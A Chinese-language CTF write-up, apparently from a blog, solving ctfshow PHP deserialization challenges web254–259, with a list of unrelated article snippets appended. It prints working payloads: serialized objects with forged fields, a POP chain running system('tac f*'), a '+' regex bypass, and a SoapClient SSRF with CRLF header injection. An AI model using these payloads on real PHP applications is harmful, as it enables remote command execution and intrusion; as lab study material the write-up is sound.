ctfshow web入门 php反序列化 web254--web259

server/2024/10/19 6:17:00/

web 254

只要传入的值与其类中的值相等即为true就有flag
username=xxxxxx&password=xxxxxx

web255

序列化和反序列化就像是把物品放进盒子和从盒子里取出物品的过程一样,只是在计算机编程中,我们是针对数据进行的操作。
这一题就是要把cookie进行序列化然后相等即可(还是看代码吧我有点没讲明白)
我们的目标是构造一个序列化后 ctfShowUser 对象的字符串,并将 isVip 属性设置为 true,然后将该字符串放入 $_COOKIE[‘user’] 中,以触发反序列化操作。

<?phpclass ctfShowUser{public $username='xxxxxx';public $password='xxxxxx'; public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
GET :
username=xxxxxx&password=xxxxxx
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

这一题代码基本一致,就是多了一个username和password不相等,
我好像懂序列化了,就是相当于加密不让别人看到,我天我就是天才,然后满足题目条件即可获得flag

php"><?php 
class ctfShowUser{public $username='xxxxxx';public $password='baozongwi';public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
php">GET :
username=xxxxxx&password=baozongwi
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22baozongwi%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web 257

这里有两个魔术方法

php">__construct        创建对象
__destruct          删除对象
php"><?php 
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new backDoor();}
}
class backDoor{private $code='system("tac f*");';
}
echo urlencode(serialize(new ctfShowUser()));

这里的code可以随便改都可以做出来,isVip为什么写成false是因为直接跳过VIP那里,直接执行__construct
传参方式与之前相同

web258

php">多了正则我差点看不懂
[oc]:匹配字符 'o''c',这是序列化字符串中对象 (O) 或类 (C) 的类型标识符。
:\d+::匹配一个冒号,接着是一个或多个数字,然后再跟一个冒号,这是序列化字符串中对象或类的长度信息。
/i:表示不区分大小写。

上一题的代码还是可以用的但是我们要用+(%2b)来绕过正则

php">笑死我了,我整半天'+'结果一直没有flag,原来要先变再序列化,我真是好蠢
<?php 
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("tac f*");';
}
$a=serialize(new ctfShowUser());
$a= preg_replace('/O:/', 'O:+', $a);//绕过preg_match
echo urlencode($a);

然后就可以了

web259

phpSoapClient_108">php原生类SoapClient

PHP 原生类 SoapClient 是 PHP 提供的用于处理 SOAP(Simple Object Access Protocol)协议的类。SOAP 是一种基于 XML 的通信协议,通常用于在分布式环境中进行 Web 服务之间的通信。SoapClient 类提供了与 SOAP 服务进行交互的功能,可以用来调用远程 SOAP 服务的方法。
题目说vip 可以得到flag
说实话我连ssrf漏洞都不会他喵的给我一个这个题

php">X-Forwarded-For: 127.0.0.1
访问flag.php然后伪造
但是不成功
php"><?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
php"><?php
$a = new SoapClient(null,array('user_agent' => "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

这两个都可以,个人觉得上面的更加通俗易懂
接着getvip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。


http://www.ppmy.cn/server/38458.html

相关文章

设计模式——单例模式(Singleton)

单例模式&#xff08;Singleton Pattern&#xff09;是设计模式中的一种&#xff0c;它确保一个类只有一个实例&#xff0c;并提供一个全局访问点来访问这个唯一实例。这种模式在多种场景下都非常有用&#xff0c;比如配置文件的读取、数据库连接的创建、线程池的管理等。 实现…

Docker依旧没有过时

【A】Docker 是一种开源的容器化平台&#xff0c;它允许开发人员将应用程序及其所有依赖项打包到一个统一的容器中&#xff0c;并在不同环境中进行部署和运行。以下是 Docker 的一些基本概念和优势&#xff1a; 容器&#xff1a;Docker 使用容器来隔离应用程序和其依赖项&#…

【软测学习笔记】MySQL入门Day03

&#x1f31f;博主主页&#xff1a;我是一只海绵派大星 &#x1f4da;专栏分类&#xff1a;软件测试笔记 &#x1f4da;参考教程&#xff1a;黑马教程❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 目录 一、字段的别名 二、表的别名 三、distinct过滤重复记录 四、where子…

每日一练 | 华为认证真题练习Day227

1、MSTP 解决了很多 RSTP 和 STP 单个生成树的缺陷,关于 MSTP 的说明,正确的是&#xff1a; A.每个 MST Instance 都使用单独的 STP 算法,计算单独的生成树. B.每一个 MST Instance 都有一个标识(MST ID) ,MST ID 是一字节的整数. C.默认所有 VLAN 映射到 MST Instance 1. …

C++:AVL树

概念&#xff1a; 二叉搜索树虽可以缩短查找的效率&#xff0c;但如果数据有序或接近有序二叉搜索树将退化为单支树&#xff0c;查 找元素相当于在顺序表中搜索元素&#xff0c;效率低下。 如图所示&#xff0c;搜索二叉树不能面对右边的树&#xff0c;这种极端的情况&#xf…

redis--安装

简介 官网&#xff1a;RedisInsight - The Best Redis GUI 各个版本官网下载地址&#xff1a;http://download.redis.io/releases/ Redis和Memcached是非关系型数据库也称为NoSQL数据库&#xff0c;MySQL、Mariadb、SQL Server、PostgreSQL Oracle 数据库属于关系型数据 应用…

C# Web控件与数据感应之 TreeView 类

目录 关于 TreeView 一些区别 准备数据源 范例运行环境 一些实用方法 获取数据进行呈现 ​根据ID设置节点 获取所有结点的索引 小结 关于 TreeView 数据感应也即数据捆绑&#xff0c;是一种动态的&#xff0c;Web控件与数据源之间的交互&#xff0c;本文将继续介绍与…

设计模式之拦截过滤器模式

想象一下&#xff0c;在你的Java应用里&#xff0c;每个请求就像一场冒险旅程&#xff0c;途中需要经过层层安检和特殊处理。这时候&#xff0c;拦截过滤器模式就化身为你最可靠的特工团队&#xff0c;悄无声息地为每一个请求保驾护航&#xff0c;确保它们安全、高效地到达目的…